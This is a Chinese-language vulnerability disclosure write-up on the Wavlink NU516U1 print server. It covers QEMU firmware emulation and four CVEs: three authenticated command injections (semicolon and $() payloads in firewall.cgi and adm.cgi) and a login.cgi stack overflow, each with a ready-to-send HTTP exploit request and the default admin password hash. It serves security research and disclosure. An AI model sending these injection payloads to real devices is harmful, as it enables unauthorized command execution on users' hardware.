概述
供应商:Wavlink
产品:NU516U1
产品用途:USB打印机服务器
固件下载地址:https://docs.wavlink.xyz/Firmware/?category=USB+Printer+Server&model=all
固件模拟
# 宿主机网卡配置
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.10.1/24 up
# qemu模拟
qemu-system-mipsel \
-M malta \
-cpu 74Kf\
-kernel /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
-hda /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
# 系统环境的配置
cd squashfs-root
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/
# 虚拟机网卡配置
ip link add br0 type dummy
ifconfig eth0 192.168.10.2/24
ifconfig br0 192.168.10.3/24
chroot . /bin/sh
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

报错,创建需要的目录,在绝大多数路由器和 IoT 固件中,为了防止频繁读写损坏 Flash 闪存芯片,/var 通常被做成了一个软链接(符号链接),指向 /tmp。而在真实的设备启动时,/tmp 会被挂载为一个存在于内存中的 tmpfs(虚拟内存文件系统)。
用工具(比如 binwalk)把它解压到了硬盘上,这个软链接要么变成了一个死链,要么指向了一个不存在的地方,所以系统拒绝在里面创建文件夹。
暴力但最有效的解决办法:删掉重建
既然我们只是在 QEMU 里模拟运行 Web 服务,最简单粗暴的方法就是把这个假的 /var 和 /tmp 删掉,然后把它们变成真正的文件夹。
# 强制删除原来的 /var 和 /tmp(无论它是文件还是死链)
rm -rf /var
rm -rf /tmp
# 重新把它们创建为真实的文件夹,并建立需要的子目录
mkdir -p /var/run
mkdir -p /var/log/lighttpd
mkdir -p /tmp/run
mkdir -p /tmp/log/lighttpd
# 再次尝试启动 lighttpd
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
访问 http://usblogin.link进入系统,登录默认密码:admin

CVE-2026-2615
Wavlink NU516U1 (V251208) 的"firewall.cgi"组件的"singlePortForwardDelete"功能的函数中通过"del_flag"参数存在远程命令执行漏洞
漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 端口转发删除(singlePortForwardDelete) 功能的 sub_4016D0 函数中。厂商在处理 del_flag 参数时,调用了过滤函数 sub_405B2C 对用户输入进行检查。尽管该函数试图通过黑名单机制防止命令注入,但其实现不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 del_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。
该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录;在与 CVE-2025-10963 相关的旧固件 V240425 中,del_flag 参数因未做有效净化直接拼接至系统命令存在安全风险,厂商在新固件 V251208 中新增 sub_405B2C 输入过滤函数试图修复该漏洞,但经逆向工程发现其黑名单仅屏蔽 |、&、$ 等字符,却遗漏了分号,攻击者可借助该有缺陷的过滤器通过分号注入实现对原补丁的绕过。
漏洞详情
受影响组件:/cgi-bin/firewall.cgi
受影响函数:sub_4016D0 (主逻辑) & sub_405B2C (过滤逻辑)
在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为 singlePortForwardDelete 会调用 sub_4016D0 函数。

主逻辑执行:sub_4016D0 (漏洞的触发)
这个函数充当了“执行者”的角色,它盲目信任了经过上述过滤函数检查的数据。
-
数据流向:
- 获取输入:通过
sub_4042C8("del_flag", ...)获取用户提交的 HTTP 参数del_flag。 - 调用过滤:调用
sub_405B2C(v2)检查输入。如果函数返回 1(发现非法字符),则报错退出;如果返回 0(认为安全),则继续执行。 - 危险拼接:进入
else分支后,程序使用sprintf函数将用户输入直接拼接到系统命令字符串中:sprintf(v5, "uci delete firewall.@redirect[%s]", v2);。 - 命令执行:最后调用
sub_403734(v5)。这是一个system()函数的封装,它会将拼接好的字符串直接交给/bin/sh执行。
- 获取输入:通过

过滤逻辑失效:sub_405B2C (漏洞的根源)
这个函数充当了“安检员”的角色,但它的安检清单漏掉了一个最危险的违禁品。
- 工作机制: 该函数接收用户输入的字符串,通过
while循环遍历每一个字符,并使用strchr函数检查该字符是否存在于一个预定义的“黑名单”字符串中。 - 黑名单内容: 代码中定义的黑名单非常长:"|`&<>$()"'[]{}*?!^~#%"。这涵盖了管道符、重定向、变量引用、子 shell 等大多数危险字符。
- 致命缺陷 : 黑名单中唯独遗漏了分号 (
;)。

EXP
利用条件:需要有效的 Cookie。
构造数据包:
POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=495266081
Connection: close
firewall=singlePortForwardDelete&del_flag=1;touch+/tmp/pwned;

验证成功

CVE-2026-3704
Wavlink NU516U1 (V251208)的"firewall.cgi"组件的"DMZ"功能函数中通过"dmz_flag"参数存在远程命令执行漏洞
漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 DMZ 设置的 sub_4017F0 函数中。尽管厂商引入了过滤函数 sub_405B2C 试图修复旧版本(M16U1_V240425)的漏洞,但该黑名单过滤机制不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 dmz_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。
该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录。在与 CVE-2025-10959 相关的旧固件(V240425)中,dmz_flag 参数被无缝连接到系统命令中,且未做任何净化处理。在本报告中测试的新固件(V251208 )中,厂商试图通过引入全新的输入滤波器功能(sub_405B2C) 来修补 CVE-2025-10959。然而,这次新补丁中存在一个关键逻辑缺陷:黑名单过滤器成功屏蔽了像 |、& 和 $ 这样的字符,但致命地省略了分号(;)命令分隔符。
漏洞详情
受影响组件:/cgi-bin/firewall.cgi
受影响函数:sub_4017F0 (主逻辑) & sub_405B2C (过滤逻辑)
在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为DMZ,会调用 sub_4017F0 函数。

触发逻辑:主函数 sub_4017F0 的盲目信任
主函数在调用了有缺陷的过滤器后,错误地认为输入已经安全,并将其拼接到系统命令中。
步骤 1:获取与检查
v6 = sub_4042C8("dmz_flag", a1, 1);
v9 = (char *)strdup(v6);
if ( sub_405B2C(v9) == 1 )
{
return ...;
}
步骤 2:危险拼接
sprintf(cat_..., "uci delete firewall.@redirect[%s]", v9);
sub_403734(cat_...); // system()
程序使用了 sprintf 将输入的 v9 直接嵌入到了 uci delete 命令的方括号中。
过滤函数 sub_405B2C 的黑名单遗漏
这是漏洞存在的根本原因。开发者意识到了注入风险,编写了一个名为 sub_405B2C 的函数来过滤危险字符,但这个“安检员”手中的违禁品清单不完整。
- 黑名单内容:代码中定义的非法字符集为:"|`&<>$()"'[]{}*?!^~#%"这里面包含了管道符 (|)、后台运行 (&)、重定向 (<>)、变量/子shell ($()) 等大多数 Shell 元字符。
- 致命遗漏:分号 (
;) 不在黑名单中

EXP
利用条件:需要有效的Cookie。
构造数据包:

POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=1470335067
Connection: close
firewall=DMZ&DMZEnabled=0&dmz_flag=1;touch+/tmp/pwned_seccess;
验证成功

CVE-2026-3612
Wavlink NU516U1 (V240425) 的 "adm.cgi" 组件的 "ota_new_upgrade" 功能的函数中通过 "firmware_url" 参数存在远程命令执行漏洞
漏洞描述
Wavlink NU516U1 路由器固件(版本 V240425)中的 /cgi-bin/adm.cgi 组件存在严重的命令注入漏洞。该漏洞位于处理 OTA 在线升级(ota_new_upgrade) 功能的 sub_405AF4 函数中。厂商在处理 firmware_url 参数时,直接将其拼接到系统命令中。尽管开发者试图使用双引号包裹参数以防止参数逃逸,但该防御方式无法阻止 Shell 命令替换。经过身份验证的远程攻击者可以通过构造包含 $() 或反引号的恶意 firmware_url 参数,绕过限制执行任意系统命令。
漏洞详情

- 受影响组件:
/cgi-bin/adm.cgi - 受影响函数:
sub_405AF4(OTA 升级处理逻辑)
在 adm.cgi 的主入口函数 ftext 中,程序根据用户提交的 page 参数分发逻辑。当 page 参数的值为 ota_new_upgrade 时,程序调用 sub_405AF4 函数。
主逻辑执行:sub_405AF4 (漏洞的触发)
该函数负责获取用户输入的升级参数并调用底层的升级脚本。
- 数据获取:函数通过
sub_40A9F8分别获取 POST 请求中的brand、model、version、md5以及最关键的firmware_url参数。 - 危险拼接:程序定义了一个大小为 1024 字节的缓冲区
v14,并使用sprintf函数构造系统命令:
sprintf(v14, "/bin/winstar_ota_upgrade.sh \"%s\" \"%s\" \"%s\" \"%s\"&", v7, v5, v11, v10);
其中 v10 对应用户输入的 firmware_url。
- 命令执行:拼接完成后,程序直接调用
system(v14)执行该命令字符串。
漏洞根源:Shell 双引号特性利用
漏洞的根本原因在于开发者错误地认为将参数包裹在双引号中("%s")是安全的。在 Linux Shell(如 /bin/sh)中,双引号内的内容仍然会进行命令替换。
- 当
firmware_url被传入$(touch /tmp/pwned)时。 - 最终拼接的命令变为:
/bin/winstar_ota_upgrade.sh "..." "..." "..." "$(touch /tmp/pwned)"&。 - Shell 在执行主命令前,会优先执行
$()中的内容,导致touch /tmp/pwned被执行。由于程序未对firmware_url进行任何特殊字符过滤(如$,(,)),攻击者可以轻松实现命令注入。
EXP
- 利用条件:需要有效的 Session Cookie(即登录后的会话)。
- 构造数据包:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=702857993
Connection: close
page=ota_new_upgrade&brand=wavlink&model=123&version=1.0&md5=123456&firmware_url=$(touch /tmp/pwned)
验证成功
发送上述数据包后,检查 QEMU 模拟环境或设备文件系统,发现 /tmp/pwned 文件已成功创建,证明远程代码执行成功。


CVE-2026-3613
Wavlink NU516U1 (V240425) login.cgi 组件 sub_401A0C 函数通过参数 "ipaddr" 存在栈缓冲区溢出漏洞
漏洞描述
在 Wavlink NU516U1 V240425 版本的固件中,/cgi-bin/login.cgi 组件的 sub_401A0C 函数存在栈缓冲区溢出漏洞。该函数主要用于处理 sys_login1 页面请求。函数内部在栈上定义了一个固定大小为 128 字节的缓冲区 v15。在验证密码 MD5 通过后,程序使用 sprintf 函数构造一条系统命令,将用户输入的 ipaddr 参数直接拼接到该缓冲区中。由于 sprintf 没有限制写入数据的长度,且程序未对 ipaddr 的长度进行校验,攻击者可以发送一个超长的字符串(超过约 105 字节)。当超长的 ipaddr 数据被写入 v15 时,会发生越界写入,覆盖栈上相邻的局部变量、保存的寄存器以及函数的返回地址,导致 CGI 进程崩溃。
漏洞详情
- 漏洞函数:
sub_401A0C(处理sys_login1接口) - 漏洞点:
sprintf(v15, "web 2860 sys addUser \"%s\"", v4); - 触发参数:
ipaddr(对应代码中的v4) - 先决条件:提交的
password参数必须匹配管理员密码的 MD5 哈希值。
受影响代码片段 (sub_401A0C):

int __fastcall sub_401A0C(int a1)
{
// ... 变量声明 ...
_BYTE v15[128]; // [sp+120h] [-FCh] BYREF <-- 漏洞缓冲区,大小 128 字节
// ... 密码验证逻辑 ...
wlink_uci_get_value("winstar", "system", "Password", v16, 64);
// ... 计算 MD5 并比较 ...
if ( !strncmp(v11, v14, 32) ) // 密码验证通过
{
memset(v15, 0, sizeof(v15));
v15[0] = 48;
// 漏洞点:将 v4 (用户输入的 ipaddr) 拼接到 v15
// 固定前缀 "web 2860 sys addUser \"" 占用约 22 字节
// 剩余空间约 106 字节。如果 ipaddr 超过此长度,将发生溢出。
sprintf(v15, "web 2860 sys addUser \"%s\"", v4);
system(v15);
// ...
}
// ...
}
内存布局与溢出路径:
- 缓冲区
v15:位于栈偏移$sp + 0x120(十进制 288),大小 128 字节。 - 溢出后果:输入超长字符串后,
sprintf越界写入将破坏栈帧结构。 - 崩溃确认:正常请求返回 HTTP 200,而溢出请求导致服务器返回 HTTP 500(内部服务器错误),这通常意味着 CGI 进程因段错误而崩溃。
EXP
利用条件:
- 知道管理员密码的 MD5 值(默认
admin的 MD5 为21232f297a57a5a743894a0e4a801fc3)。 - 能够向
/cgi-bin/login.cgi发送 POST 请求,需要有效的cookie。
构造数据包:
发送一个包含超长 ipaddr 的 POST 请求。
POST /cgi-bin/login.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 296
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/login.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=977176472
Connection: close
page=sys_login1&password=21232f297a57a5a743894a0e4a801fc3&ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
验证结果:
-
正常请求:发送较短的 Payload,服务器返回
HTTP/1.1 200 OK。

-
溢出请求:发送上述包含大量 'A' 的数据包,服务器返回
HTTP/1.1 500 Internal Server Error。这证实了栈缓冲区溢出导致了 CGI 进程崩溃。

